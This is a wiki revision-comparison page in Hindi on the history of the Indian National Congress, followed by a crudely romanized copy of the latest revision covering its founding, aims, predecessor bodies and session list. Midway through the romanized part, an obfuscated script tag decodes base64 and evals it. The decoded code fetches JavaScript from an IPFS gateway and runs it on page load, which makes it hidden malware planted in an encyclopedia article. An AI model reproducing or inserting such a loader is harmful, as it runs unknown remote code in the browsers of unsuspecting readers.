Difference between revisions of "भारतीय राष्ट्रीय काँग्रेस"

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|चुनाव चिह्न=हाथ का पंजा
 
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|समाचार पत्र= कांग्रेस संदेश
 
|समाचार पत्र= कांग्रेस संदेश
|गठबंधन=संयुक्त प्रगतिशील गठबंधन (संप्रग)
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|गठबंधन=[[संयुक्त प्रगतिशील गठबंधन]] (संप्रग)
 
|युवा संगठन=इंडियन यूथ कांग्रेस
 
|युवा संगठन=इंडियन यूथ कांग्रेस
 
|महिला संगठन= महिला कांग्रेस
 
|महिला संगठन= महिला कांग्रेस
 
|श्रमिक संगठन= इंडियन नेशनल ट्रेड यूनियन कांग्रेस  
 
|श्रमिक संगठन= इंडियन नेशनल ट्रेड यूनियन कांग्रेस  
 
|विद्यार्थी संगठन= नेशनल स्टूडेंट यूनीयन ऑफ इंडिया  
 
|विद्यार्थी संगठन= नेशनल स्टूडेंट यूनीयन ऑफ इंडिया  
|लोकसभा में सीटों की संख्या=44 / 543  
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|लोकसभा में सीटों की संख्या=44/543  
|राज्यसभा में सीटों की संख्या=72 / 245
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|राज्यसभा में सीटों की संख्या=72/245
 
|विधानसभा में सीटों की संख्या=
 
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|संबंधित लेख=[[दादाभाई नौरोजी]], [[फ़िरोजशाह मेहता]], [[सुरेन्द्रनाथ बनर्जी]], [[मोतीलाल नेहरू]], [[बाल गंगाधर तिलक]]
 
|संबंधित लेख=[[दादाभाई नौरोजी]], [[फ़िरोजशाह मेहता]], [[सुरेन्द्रनाथ बनर्जी]], [[मोतीलाल नेहरू]], [[बाल गंगाधर तिलक]]
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*यह निश्चित करना कि आने वाले वर्षों में भारतीय जन-कल्याण के लिए किस दिशा में किस आधार पर कार्य किया जाय।
 
*यह निश्चित करना कि आने वाले वर्षों में भारतीय जन-कल्याण के लिए किस दिशा में किस आधार पर कार्य किया जाय।
 
==इतिहास==
 
==इतिहास==
'भारतीय राष्ट्रीय कांग्रेस' नामक संगठन का आरंभ [[भारत]] के [[अंग्रेज़ी]] पढ़े-लिखे लोगों द्वारा किया गया, और यह आश्चर्य की बात नहीं है कि इसके पहले बाद के कुछ ऐसे अध्यक्ष भी हुये, जिन्होंने विलायत में अपनी शिक्षा प्राप्त की थी। पहले तीन अध्यक्ष, व्योमेश चन्द्र बैनर्जी, [[दादा भाई नौरोजी]] तथा [[बदरुद्दीन तैयबजी]], [[ब्रिटेन]] से ही बैरिस्टरी पढ़कर आये थे। जॉर्ज युल तथा सर विलियम बैडरवर्न तो [[अंग्रेज़]] ही थे और यही बात उनके कुछ अन्य अनुयायियों, जैसे कि एलफर्ड बेब तथा सर हेनरी काटन के बारे में भी कही जा सकती है। उन्होंने उन्नीसवीं शताब्दी के उस दौर में शिक्षा प्राप्त की, जबकि [[इंग्लैंड]] में लोकतांत्रिक मूल्यों तथा स्वाधीनता का बोलबाला था। कांग्रेस के आरंभिक नेताओं का ब्रिटेन के सुधारवादी (रेडिकल) तथा उदारवादी (लिबरल) नेताओं में पूरा विश्वास था। भारतीय कांग्रेस के संस्थापक भी एक अंग्रेज़ ही थे, जो 15 वर्षों तक कांग्रेस के महासचिव रहे। ऐ. ओ. ह्यूम ब्रिटिश संस्कृति की ही देन थे। इसलिए कांग्रेस का आरंभ से ही प्रयास रहा कि ब्रिटेन के जनमत को प्रभावित करने वाले नेताओं से सदा सम्पर्क बनाये रखा जाये, ताकि भारतीय लोगों के हित के लिए अपेक्षित सुधार कर उन्हें उनके राजनीतिक अधिकार दिलवाने में सहायता मिल सके। यहाँ तक कि वह नेता, जिन्होंने [[इंग्लैंड]] में शिक्षा नहीं पाई थी, उनकी भी मान्यता थी कि अंग्रेज़ लोकतंत्र को बहुत चाहते हैं।
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'भारतीय राष्ट्रीय कांग्रेस' नामक संगठन का आरंभ [[भारत]] के [[अंग्रेज़ी]] पढ़े-लिखे लोगों द्वारा किया गया, और यह आश्चर्य की बात नहीं है कि इसके पहले बाद के कुछ ऐसे अध्यक्ष भी हुये, जिन्होंने विलायत में अपनी शिक्षा प्राप्त की थी। पहले तीन अध्यक्ष, [[व्योमेश चन्‍द्र बनर्जी|व्योमेश चन्द्र बैनर्जी]], [[दादा भाई नौरोजी]] तथा [[बदरुद्दीन तैयबजी]], [[ब्रिटेन]] से ही बैरिस्टरी पढ़कर आये थे। जॉर्ज युल तथा सर विलियम बैडरवर्न तो [[अंग्रेज़]] ही थे और यही बात उनके कुछ अन्य अनुयायियों, जैसे कि एलफर्ड बेब तथा सर हेनरी काटन के बारे में भी कही जा सकती है। उन्होंने उन्नीसवीं शताब्दी के उस दौर में शिक्षा प्राप्त की, जबकि [[इंग्लैंड]] में लोकतांत्रिक मूल्यों तथा स्वाधीनता का बोलबाला था। कांग्रेस के आरंभिक नेताओं का ब्रिटेन के सुधारवादी (रेडिकल) तथा उदारवादी (लिबरल) नेताओं में पूरा विश्वास था। भारतीय कांग्रेस के संस्थापक भी एक अंग्रेज़ ही थे, जो 15 वर्षों तक कांग्रेस के महासचिव रहे। ऐ. ओ. ह्यूम ब्रिटिश संस्कृति की ही देन थे। इसलिए कांग्रेस का आरंभ से ही प्रयास रहा कि ब्रिटेन के जनमत को प्रभावित करने वाले नेताओं से सदा सम्पर्क बनाये रखा जाये, ताकि भारतीय लोगों के हित के लिए अपेक्षित सुधार कर उन्हें उनके राजनीतिक अधिकार दिलवाने में सहायता मिल सके। यहाँ तक कि वह नेता, जिन्होंने [[इंग्लैंड]] में शिक्षा नहीं पाई थी, उनकी भी मान्यता थी कि अंग्रेज़ लोकतंत्र को बहुत चाहते हैं।
 
[[चित्र:Womesh Chunder Bonnerjee.jpg|thumb|left|[[व्योमेश चन्‍द्र बनर्जी]]<br />प्रथम अध्यक्ष]]
 
[[चित्र:Womesh Chunder Bonnerjee.jpg|thumb|left|[[व्योमेश चन्‍द्र बनर्जी]]<br />प्रथम अध्यक्ष]]
 
[[मदन मोहन मालवीय]] ने अपने पहले भाषण में, जो कि उन्होंने [[1886]] ई. में [[कलकत्ता]] में हुये दूसरे कांग्रेस अधिवेशन में दिया था, कहा- "प्रतिनिधिक संस्थाओं के बिना अंग्रेज़ से भला क्या होगा। प्रतिनिधिक संस्थान ब्रिटेन का उतना ही अनिवार्य अंग है, जितना कि उसकी [[भाषा]] तथा [[साहित्य]]।" कांग्रेस का चौथा अधिवेशन [[इलाहाबाद]] में जॉर्ज युल की अध्यक्षता में हुआ, जिसमें मांग की गई कि एक संसदीय समिति की नियुक्ति की जाये, जो कांग्रेस की [[1858]] ई. की उद्घोषणा को लागू करने तथा राजनीतिक सुधार स्वीकार करने की मांगों पर विचार करे। यह निर्णय भी किया गया कि [[संसद]] के सदस्य ब्रैडला से अनुरोध किया जाये कि वह इसके लिए उन्हें अपना समर्थन दें।
 
[[मदन मोहन मालवीय]] ने अपने पहले भाषण में, जो कि उन्होंने [[1886]] ई. में [[कलकत्ता]] में हुये दूसरे कांग्रेस अधिवेशन में दिया था, कहा- "प्रतिनिधिक संस्थाओं के बिना अंग्रेज़ से भला क्या होगा। प्रतिनिधिक संस्थान ब्रिटेन का उतना ही अनिवार्य अंग है, जितना कि उसकी [[भाषा]] तथा [[साहित्य]]।" कांग्रेस का चौथा अधिवेशन [[इलाहाबाद]] में जॉर्ज युल की अध्यक्षता में हुआ, जिसमें मांग की गई कि एक संसदीय समिति की नियुक्ति की जाये, जो कांग्रेस की [[1858]] ई. की उद्घोषणा को लागू करने तथा राजनीतिक सुधार स्वीकार करने की मांगों पर विचार करे। यह निर्णय भी किया गया कि [[संसद]] के सदस्य ब्रैडला से अनुरोध किया जाये कि वह इसके लिए उन्हें अपना समर्थन दें।
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| साधारण ज्ञान सभा || 1838 ई. || [[पश्चिम बंगाल]] ||  || सरकारी विभागों में हो रहे भ्रष्टाचार, समाचार-पत्रों की स्वतन्त्रता आदि के बारे में विचार विमर्श कर समस्या का हल करना।
 
| साधारण ज्ञान सभा || 1838 ई. || [[पश्चिम बंगाल]] ||  || सरकारी विभागों में हो रहे भ्रष्टाचार, समाचार-पत्रों की स्वतन्त्रता आदि के बारे में विचार विमर्श कर समस्या का हल करना।
 
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| बंगाल जमींदार सभा (लैण्ड होल्डर्स सोसाइटी) || 1838 ई. || कलकत्ता || द्वारका नाथ टैगोर के प्रयासों से || जमींदारों के हितों की देखभाल करना। [[पश्चिम बंगाल]], [[बिहार]] और [[उड़ीसा]] के जमींदारों की यह संस्था आधुनिक [[भारत]] की पहली सार्वजनिक एवं राजनीतिक संस्था थी।
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| बंगाल ज़मींदार सभा (लैण्ड होल्डर्स सोसाइटी) || 1838 ई. || कलकत्ता || द्वारका नाथ टैगोर के प्रयासों से || जमींदारों के हितों की देखभाल करना। [[पश्चिम बंगाल]], [[बिहार]] और [[उड़ीसा]] के जमींदारों की यह संस्था आधुनिक [[भारत]] की पहली सार्वजनिक एवं राजनीतिक संस्था थी।
 
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| बंगाल ब्रिटिश एसोसिएशन || 1843 ई. ||  ||  || सार्वजनिक हितों की रक्षा करना  
 
| बंगाल ब्रिटिश एसोसिएशन || 1843 ई. ||  ||  || सार्वजनिक हितों की रक्षा करना  
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1838 में [[कलकत्ता]] में स्थापित लैंड होल्डर्स सोसाइटी भारत की प्रथम राजनीतिक संस्था थी जो [[द्वारकानाथ टैगोर]] के प्रयासों से स्थापित हुई। संस्था का उद्देश्य जमींदारों के हितों की रक्षा करना था। संस्था के अन्य मुख्य नेता प्रसन्न कुमार ठाकुर, राजा राधाकान्त देव आदि थे।
 
1838 में [[कलकत्ता]] में स्थापित लैंड होल्डर्स सोसाइटी भारत की प्रथम राजनीतिक संस्था थी जो [[द्वारकानाथ टैगोर]] के प्रयासों से स्थापित हुई। संस्था का उद्देश्य जमींदारों के हितों की रक्षा करना था। संस्था के अन्य मुख्य नेता प्रसन्न कुमार ठाकुर, राजा राधाकान्त देव आदि थे।
 
;बंगाल ब्रिटिश एसोसिएशन
 
;बंगाल ब्रिटिश एसोसिएशन
इसकी स्थापना कलकत्ता में हुयी थी। इसकी स्थापना में द्वारकानाथ टैगोर की भूमिका अग्रणी थी। इस संस्था के सदस्य [[अंग्रेज़]] भी थे। अंग्रेज़ जार्ज थाम्पसन ने संस्था की अध्यक्षता की थी।
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इसकी स्थापना कलकत्ता में हुई थी। इसकी स्थापना में द्वारकानाथ टैगोर की भूमिका अग्रणी थी। इस संस्था के सदस्य [[अंग्रेज़]] भी थे। अंग्रेज़ जार्ज थाम्पसन ने संस्था की अध्यक्षता की थी।
 
====गरम दल और नरम दल====
 
====गरम दल और नरम दल====
 
[[चित्र:Motilal-nehru.jpg|thumb| [[मोतीलाल नेहरू]]]]
 
[[चित्र:Motilal-nehru.jpg|thumb| [[मोतीलाल नेहरू]]]]
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[[1939]] ई. में 'राष्ट्रीय स्वयंसेवक संघ' के संचालक एम.एस. गोलवलकर ने भी कांग्रेस की धर्म-निरपेक्षता के कारण उसे गैर-राष्ट्रवादी ठहराने के लिए ‘सुरक्षा वाल्व’ की इस परिकल्पना का इस्तेमाल किया था। उन्होंने अपने परचे ‘वी’ (हम) में कहा था कि हिन्दू राष्ट्रीय चेतना को उन लोगो ने तबाह कर दिया, जो राष्ट्रवादी होने का दावा करते हैं।' गोलवलकर के अनुसार, ह्यूम कॉटर्न और वेडरबर्न द्वारा [[1885]] ई. में तय की गई नीतियाँ ही ज़िम्मेदार थीं- इन लोगो ने उस समय उबल रहे राष्ट्रवाद के ख़िलाफ़ सुरक्षा वाल्व के तौर पर कांग्रेस की स्थापना की थी।<ref>{{cite web |url=http://www.pravakta.com/story/17829 |title=कांग्रेस की स्थापना का सच |accessmonthday=30 दिसंबर |accessyear=2010 |last= |first= |authorlink= |format=पी.एच.पी |publisher=प्रवक्ता डॉट कॉम |language=[[हिन्दी]]}}</ref>
 
[[1939]] ई. में 'राष्ट्रीय स्वयंसेवक संघ' के संचालक एम.एस. गोलवलकर ने भी कांग्रेस की धर्म-निरपेक्षता के कारण उसे गैर-राष्ट्रवादी ठहराने के लिए ‘सुरक्षा वाल्व’ की इस परिकल्पना का इस्तेमाल किया था। उन्होंने अपने परचे ‘वी’ (हम) में कहा था कि हिन्दू राष्ट्रीय चेतना को उन लोगो ने तबाह कर दिया, जो राष्ट्रवादी होने का दावा करते हैं।' गोलवलकर के अनुसार, ह्यूम कॉटर्न और वेडरबर्न द्वारा [[1885]] ई. में तय की गई नीतियाँ ही ज़िम्मेदार थीं- इन लोगो ने उस समय उबल रहे राष्ट्रवाद के ख़िलाफ़ सुरक्षा वाल्व के तौर पर कांग्रेस की स्थापना की थी।<ref>{{cite web |url=http://www.pravakta.com/story/17829 |title=कांग्रेस की स्थापना का सच |accessmonthday=30 दिसंबर |accessyear=2010 |last= |first= |authorlink= |format=पी.एच.पी |publisher=प्रवक्ता डॉट कॉम |language=[[हिन्दी]]}}</ref>
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==भारतीय राष्ट्रीय कांग्रेस के अधिवेशन और उनके अध्‍यक्ष==
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! क्र.सं.
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! अधिवेशन
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! स्‍थान
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! अध्‍यक्ष
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| 1 || 1885 (28 दिसम्‍बर) || [[मुम्बई|बम्बई]] || [[व्योमेश चन्‍द्र बनर्जी]]
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| 2 || 1886 (28 दिसम्‍बर) || [[कोलकाता|कलकत्‍ता]] || [[दादाभाई नौरोजी]]
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| 3 || 1887 (27-28 दिसम्‍बर) || [[मद्रास]] || [[बदरुद्दीन तैयब जी|सैयद बदरुद्दीन तैयबजी]]
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| 4 || 1888 (28-29 दिसम्‍बर) || [[इलाहाबाद]] || जॉर्ज यूल
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| 5 || 1889 (27-28 दिसम्‍बर) || [[मुम्बई|बम्बई]]  || सर विलियम वैडरबर्न
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| 6 || 1890 (28-29 दिसम्‍बर) || [[कोलकाता|कलकत्‍ता]] || [[फिरोजशाह मेहता]]
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| 7 || 1891 (26-27 दिसम्‍बर) || [[नागपुर]] || आनन्‍द चार्लू
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| 8 || 1892 (28-29 दिसम्‍बर) || [[इलाहाबाद]] || व्‍योमेश चन्‍द्र बनर्जी
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| 9 || 1893 (27-28 दिसम्‍बर) || [[लाहौर]] || दादाभाई नौरोजी
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| 10 || 1894 (27-28 दिसम्‍बर) || [[मद्रास]] || अल्‍फ्रेड वेब
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| 11 || 1895 (28-29 दिसम्‍बर) || [[पूना]] || [[सुरेन्द्र नाथ बनर्जी]]
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| 12 || 1896 ()27-28 दिसम्‍बर || [[कोलकाता|कलकत्‍ता]] || एम.ए.सयानी
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| 13 || 1897 (28-29 दिसम्‍बर) || [[अमरावती]] || एम.सी.शंकरन
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| 14 || 1898 (27-28 दिसम्‍बर) || [[मद्रास]] || [[आनंद मोहन बोस]]
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| 15 || 1899 (27-28 दिसम्‍बर) || [[लखनऊ]] || [[रमेश चंद्र दत्त]]
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| 16 || 1900 (27-28 दिसम्‍बर) || [[लाहौर]] || एन.जी.चन्‍द्रावरकर
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| 17 || 1901 (27-28 दिसम्‍बर) || [[कोलकाता|कलकत्‍ता]] || [[दिनशा वाचा|दिनशा ई.वाचा]]
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| 18 || 1902 (27-28 दिसम्‍बर) || [[अहमदाबाद]] || सुरेन्‍द्रनाथ बनर्जी
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| 19 || 1903 (28-30 दिसम्‍बर) || [[मद्रास]] || लाल मोहन घोष
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| 20 || 1904 (26-28 दिसम्‍बर) || [[मुम्बई|बम्‍बई]] || सर हेनरी कॉटन
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| 21 || 1905 (27-30 दिसम्‍बर) || [[बनारस]] || [[गोपालकृष्ण गोखले]]
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| 22 || 1906 (26-29 दिसम्‍बर) || [[कोलकाता|कलकत्‍ता]] || दादाभाई नौरोजी
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| 23 || 1907 (26-27 दिसम्‍बर) || [[सूरत]] || [[रासबिहारी घोष]]
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| 24 || 1908 (29-30 दिसम्‍बर) || [[मद्रास]] || रासबिहारी घोष
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| 25 || 1909 (27-29 दिसम्‍बर) || [[लाहौर]] || [[मदनमोहन मालवीय]]
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| 26 || 1910 (28-29 दिसम्‍बर) || [[इलाहाबाद]] || विलियम वेडरबर्न
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| 27 || 1911 (26-28 दिसम्‍बर) || [[कोलकाता|कलकत्‍ता]] || बिशन नारायण धर
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| 28 || 1912 (27-28 दिसम्‍बर) || बांकीपुर || आर.एन.मधुकर
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| 29 || 1913 (26-28 दिसम्‍बर) || [[कराची]] || नबाब सैयद मुहम्‍मद
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| 30 || 1914 (28-30 दिसम्‍बर) || मद्रास || भूपेन्‍द्रनाथ बसु
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| 31 || 1915 (27-30 दिसम्‍बर) || बम्‍बई || एस.पी.सिन्‍हा
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| 32 || 1916 (26-30 दिसम्‍बर) || लखनऊ || [[अम्बिका चरण मजूमदार]]
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| 33 || 1917 (28-29 दिसम्‍बर) || [[कोलकाता|कलकत्‍ता]] || [[एनी बेसेंट|एनी बेसेन्‍ट]]
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| 34 || 1918 (26-31 दिसम्‍बर) || [[दिल्ली]] || मदनमोहन मालवीय
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| 35 || 1919 (27-28 दिसम्‍बर) || [[अमृतसर]] || [[मोतीलाल नेहरू]]
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| 36 || 1920 (26-31 दिसम्‍बर) || [[नागपुर]] || सी.विजयाराघवाचार्य
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| 37 || 1921 (27-28 दिसम्‍बर) || [[अहमदाबाद]] || सी.आर.दास
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| 38 || 1922 (26-31 दिसम्‍बर) || [[गया]] || सी.आर.दास
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| 39 || 1923 (28-31 दिसम्‍बर) || काकीनाडा || मौलाना मुहम्‍मद अली
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| 40 || 1924 (26-27 दिसम्‍बर) || बेलगाँव || [[महात्मा गाँधी]]
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| 41 || 1925 (26-28 दिसम्‍बर) || [[कानपुर]] || [[सरोजिनी नायडू]]
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| 42 || 1926 (26-28 दिसम्‍बर) || [[गुवाहाटी]] || एस.श्रीनिवास आयंगर
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| 43 || 1927 (26-27 दिसम्‍बर) || मद्रास || [[एम. ए. अंसारी|एम.ए.अंसारी]]
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| 44 || 1928 (28-31 दिसम्‍बर) || [[कोलकाता|कलकत्‍ता]] || मोतीलाल नेहरू
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| 45 || 1929 (29-31 दिसम्‍बर) || लाहौर || जवाहरलाल नेहरू
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| 46 || 1931 (29 मार्च) || करांची || [[सरदार पटेल|वल्‍लभभाई पटेल]]
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| 47 || 1932 (24 अप्रैल) || दिल्ली || अमृत रणछोड दास सेठ
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| 48 || 1933 (1 अप्रैल) || [[कोलकाता|कलकत्‍ता]] || श्रीमती एन.सेन गुप्‍ता
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| 49 || 1934 (26-28 अक्‍टूबर) || बम्‍बई || [[राजेन्द्र प्रसाद|डॉ राजेन्‍द्र प्रसाद]]
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| 50 || 1936 (12-14 दिसम्‍बर) || [[लखनऊ]] || [[जवाहरलाल नेहरू]]
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| 51 || 1937 (27-28 दिसम्‍बर) || फैजपुर || जवाहरलाल नेहरू
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| 52 || 1938 (19-21 फरवरी) || हरिपुरा || [[सुभाष चंद्र बोस]]
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| 53 || 1939 (10 मार्च) || [[त्रिपुरा]] || सुभाष चंद्र बोस
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| 54 || 1940 (17-19 मार्च) || रामगढ || [[अबुल कलाम आज़ाद|मौलाना अबुल कलाम आज़ाद]]
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| 55 || 1946 (23 नवम्‍बर) || [[मेरठ]] || [[जे. बी. कृपलानी|जे.बी.कृपलानी]]
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| 56 || 1947 || [[दिल्ली]] || [[राजेन्द्र प्रसाद|डॉ राजेन्‍द्र प्रसाद]]
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| 57 || 1948 (18-19 दिसम्‍बर) || जयपुर || [[पट्टाभि सीतारमैया|डॉ पट्टाभि सीतारमैया]]
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|}
  
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{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
  
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
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*[http://www.aicc.org.in/new/hindi/home.php आधिकारिक वेबसाइट]
 
*[http://www.aicc.org.in/new/hindi/home.php आधिकारिक वेबसाइट]
 
==संबंधित लेख==
 
==संबंधित लेख==
{{राजनीतिक दल}}
+
{{राजनीतिक दल}}{{भारत का विभाजन}}
 
[[Category:राजनीतिक दल]]
 
[[Category:राजनीतिक दल]]
 
[[Category:राजनीति कोश]]
 
[[Category:राजनीति कोश]]

Latest revision as of 10:12, 28 December 2017

chitr:Disamb2.jpg kaangres ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- kaangres (bahuvikalpi)
bharatiy rashtriy kaangres
poora nam bharatiy rashtriy kaangres
sankshep nam kaangres (INC)
gathan 28 disambar, 1885
sansthapak e.o. hyoom
pratham adhyaksh vyomesh chanh‍dr banarji
vartaman adhyaksh soniya gaandhi
mukhyalay 24, akabar rod, nee dilli
vicharadhara lokalubhavanavad, alpasankhyak tushtikaran, janataantrik samajavad, samajik lokatantr
chunav chihn hath ka panja
samachar patr kaangres sandesh
gathabandhan sanyukt pragatishil gathabandhan (sanprag)
yuva sangathan iandiyan yooth kaangres
mahila sangathan mahila kaangres
shramik sangathan iandiyan neshanal tred yooniyan kaangres
vidyarthi sangathan neshanal stoodeant yooniyan aauph iandiya
sanbandhit lekh dadabhaee nauroji, firojashah mehata, surendranath banarji, motilal neharoo, bal gangadhar tilak
rang asamani
any janakari 'bharatiy rashtriy sangh' (kaangres ki poorvagami sanstha) ki sthapana ka vichar sarvapratham l aaurd dafarin ke dimag mean aya tha. 1916 ee. mean lala lajapat ray ne 'yang indiya' mean ek lekh mean likha, 'kaangres l aaurd dafarin ke dimag ki upaj hai.'
sansad mean sitoan ki sankhya
lokasabha 44/543
rajyasabha 72/245
adhikarik vebasait bharatiy rashtriy kaangres
adyatan‎

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharatiy rashtriy kaangres bharat ka sabase prachin rajanitik dal hai. is dal ki vartaman adhyaksh soniya gaandhi hai. kaangres dal ka yuva sangathan 'bharatiy yuva kaangres' hai. 'bharatiy rashtriy kaangres' ki sthapana 28 disambar, 1885 ee. mean dopahar barah baje bambee mean 'gokuladas tejapal sanskrit k aaulej' ke bhavan mean ki gee thi. isake sansthapak 'e.o. hyoom' the aur pratham adhyaksh vyomesh chanh‍dr banarji banaye ge the. 'bharatiy rashtriy kaangres' mean kul 72 sadasy the, jinamean mahattvapoorn the- dadabhaee nauroji, firojashah mehata, dinasha edalaji vacha, kashinatha tailang, vi. raghavachary, en.ji. chandravarakar, es.subramanyam adi. isi sammelan mean dadabhaee nauroji ke sujhav par 'bharatiy rashtriy sangh' ka nam badalakar 'bharatiy rashtriy kaangres' rakh diya gaya tha. 'bharatiy rashtriy sangh' (kaangres ki poorvagami sanstha) ki sthapana ka vichar sarvapratham l aaurd dafarin ke dimag mean aya tha. kaangres ke pratham adhiveshan mean surendranath banarji ne hissa nahian liya. 1916 ee. mean lala lajapat ray ne 'yang indiya' mean ek lekh mean likha, 'kaangres l aaurd dafarin ke dimag ki upaj hai.'

uddeshy

bharatiy rashtriy kaangres ke mahattvapoorn uddeshyoan mean kuchh nimnalikhit the-

  • deshahit ki disha mean prayatnashil bharatiyoan mean paraspar sampark evan mitrata ko protsahan dena.
  • desh ke andar dharm, vansh evan praant sambandhi vivadoan ko khatm kar rashtriy ekata ki bhavana ko protsahit karana.
  • shikshit varg ki poorn sahamati se mahattvapoorn evan avashyak samajik vishayoan par vichar vimarsh karana.
  • yah nishchit karana ki ane vale varshoan mean bharatiy jan-kalyan ke lie kis disha mean kis adhar par kary kiya jay.

itihas

'bharatiy rashtriy kaangres' namak sangathan ka aranbh bharat ke aangrezi padhe-likhe logoan dvara kiya gaya, aur yah ashchary ki bat nahian hai ki isake pahale bad ke kuchh aise adhyaksh bhi huye, jinhoanne vilayat mean apani shiksha prapt ki thi. pahale tin adhyaksh, vyomesh chandr bainarji, dada bhaee nauroji tatha badaruddin taiyabaji, briten se hi bairistari padhakar aye the. j aaurj yul tatha sar viliyam baidaravarn to aangrez hi the aur yahi bat unake kuchh any anuyayiyoan, jaise ki elaphard beb tatha sar henari katan ke bare mean bhi kahi ja sakati hai. unhoanne unnisavian shatabdi ke us daur mean shiksha prapt ki, jabaki ianglaiand mean lokataantrik moolyoan tatha svadhinata ka bolabala tha. kaangres ke aranbhik netaoan ka briten ke sudharavadi (redikal) tatha udaravadi (libaral) netaoan mean poora vishvas tha. bharatiy kaangres ke sansthapak bhi ek aangrez hi the, jo 15 varshoan tak kaangres ke mahasachiv rahe. ai. o. hyoom british sanskriti ki hi den the. isalie kaangres ka aranbh se hi prayas raha ki briten ke janamat ko prabhavit karane vale netaoan se sada sampark banaye rakha jaye, taki bharatiy logoan ke hit ke lie apekshit sudhar kar unhean unake rajanitik adhikar dilavane mean sahayata mil sake. yahaan tak ki vah neta, jinhoanne ianglaiand mean shiksha nahian paee thi, unaki bhi manyata thi ki aangrez lokatantr ko bahut chahate haian. [[chitr:Womesh Chunder Bonnerjee.jpg|thumb|left|vyomesh chanh‍dr banarji
pratham adhyaksh]] madan mohan malaviy ne apane pahale bhashan mean, jo ki unhoanne 1886 ee. mean kalakatta mean huye doosare kaangres adhiveshan mean diya tha, kaha- "pratinidhik sansthaoan ke bina aangrez se bhala kya hoga. pratinidhik sansthan briten ka utana hi anivary aang hai, jitana ki usaki bhasha tatha sahity." kaangres ka chautha adhiveshan ilahabad mean j aaurj yul ki adhyakshata mean hua, jisamean maang ki gee ki ek sansadiy samiti ki niyukti ki jaye, jo kaangres ki 1858 ee. ki udghoshana ko lagoo karane tatha rajanitik sudhar svikar karane ki maangoan par vichar kare. yah nirnay bhi kiya gaya ki sansad ke sadasy braidala se anurodh kiya jaye ki vah isake lie unhean apana samarthan dean.

charls braidala ne 1889 ee. mean 'bambee kaangres adhiveshan' mean bhag liya tatha sar viliyam bedaravarn ko adhyaksh chuna gaya. is adhiveshan mean braidala ko ek manapatr bheant kiya gaya, jise sar viliyam redaravarn ne padha. isi adhiveshan mean vah sankalp svikar kiya gaya, jisamean kaha gaya hai, "ki yah adhiveshan sar viliyam bedaravarn, bart tatha maisarj dablyoo es. keni, em. pi., dablyoo. es. braeet maikalarin em.pi., je.ee. iliyas em.pi., dadabhaee nauroji tatha j aaurj yul ki samiti, jisake pas apani sanstha badhane ki shakti hogi, ke roop mean niyukti ki pushti karata hai tatha yah samiti neshanal kaangres ejeansi ke kary sanchalan tatha niyantran ke bare mean disha-nirdesh deti rahegi tatha un mahanubhavoan ka dhanyavad karati hai tatha unake sath hi dablyoo. digbe, si.aee.si. sachiv ka bharat ko di jane vali seva ke lie dhanyavad karati hai." [[chitr:Sonia-Gandhi.jpg|thumb|soniya gaandhi
vartaman adhyaksh]] is sankalp se pata chalata hai ki samiti kaangres ke paanchave adhiveshan se pahale bhi karyarat rahi hogi aur yah 20vian shatabdi ke doosare dashak tak karyarat rahi, jab tak ki mahatma gaandhi, lala lajapat ray ki adhyakshata mean kalakatta mean 1920 ee. ke vishesh adhiveshan mean apana asahayog aandolan ka sankap parit karavane mean saphal nahian ho gaye. yah samiti itani sashakt hoti chali gee ki dadabhaee nauroji ne, 1906 ee. mean kalakatta mean hone vale apane adhyakshiy bhashan mean is tathy ka ullekh karate huye kaha ki "bharatiy sansadiy kameti ke sadasyoan ki sankhya 200 tak pahuanch gee hai." lebar sadasyoan, ayarish neshanal sadasyoan tatha redikal sadasyoan ki hamare sath poorn sahanubhooti hai. ham ise bharat ka ek sashakt aang banana chahate haian. hamane dekha hai ki sabhi daloan ke log chahe vah lebar parti ke harean sar chhemarekretik parti ke hoan, british neshanal parti ke, ya phir ugr-sudharavadi (redikal) ya udarabadi (libaral) sabhi bharat ke mamaloan mean gahari dilachaspi lete haian."[1]

bharatiy rashtriy kaangres ki sthapana se poorv sthapit kuchh rajanitik sansthayean
sanstha sthapana varsh sthan sansthapak/sadasy uddeshy
hindoo k aaulej 1817 ee. kalakatta pashchim ke udaravadi darshan ka jnan prapt karana
sadharan jnan sabha 1838 ee. pashchim bangal sarakari vibhagoan mean ho rahe bhrashtachar, samachar-patroan ki svatantrata adi ke bare mean vichar vimarsh kar samasya ka hal karana.
bangal zamiandar sabha (laind holdars sosaiti) 1838 ee. kalakatta dvaraka nath taigor ke prayasoan se jamiandaroan ke hitoan ki dekhabhal karana. pashchim bangal, bihar aur u disa ke jamiandaroan ki yah sanstha adhunik bharat ki pahali sarvajanik evan rajanitik sanstha thi.
bangal british esosieshan 1843 ee. sarvajanik hitoan ki raksha karana
british indiyan esosieshan 28 aktoobar, 1851 kalakatta rajendr lal mitr, radhakant dev (adhyaksh), devendr nath taigor (mahasachiv), harishchandr mukharji adi. bharat ke lie rajanitik adhikaroan ki maang karana. yah sanstha laind holdars sositi evan bangal british esosieshan ke apas mean vilay ke bad bani. bharat ke rajanitik adhikaroan ki maang karane vali yah pratham sanstha thi.
indiyan esosieshan 26 julaee, 1876 ilbart hal, kalakatta surendr nath banarji, anand mohan bos shikshit madhyam varg ka pratinidhitv karana evan sarvajanik karyo mean unaki dilachaspi paida karana. kaangres ke poorvavarti sangathanoan mean yah sabase mahattvapoorn sangathan tha. is sangathan ne 1876 meannagarik seva pariksha ki ayu 21 varsh se ghatakar 19 varsh karane par british bharat sarakar ke khilaf ek b da aandolan chalaya. pro. hiralal ke anusar surendr nath banarji ka rajanitik jivan ‘indiyan sivil aandolan’ se arambh hua jo ki ‘indiyan neshanal kaangres’ jaise adhik vyapak rajanitik aandolan ka agrasar bana.
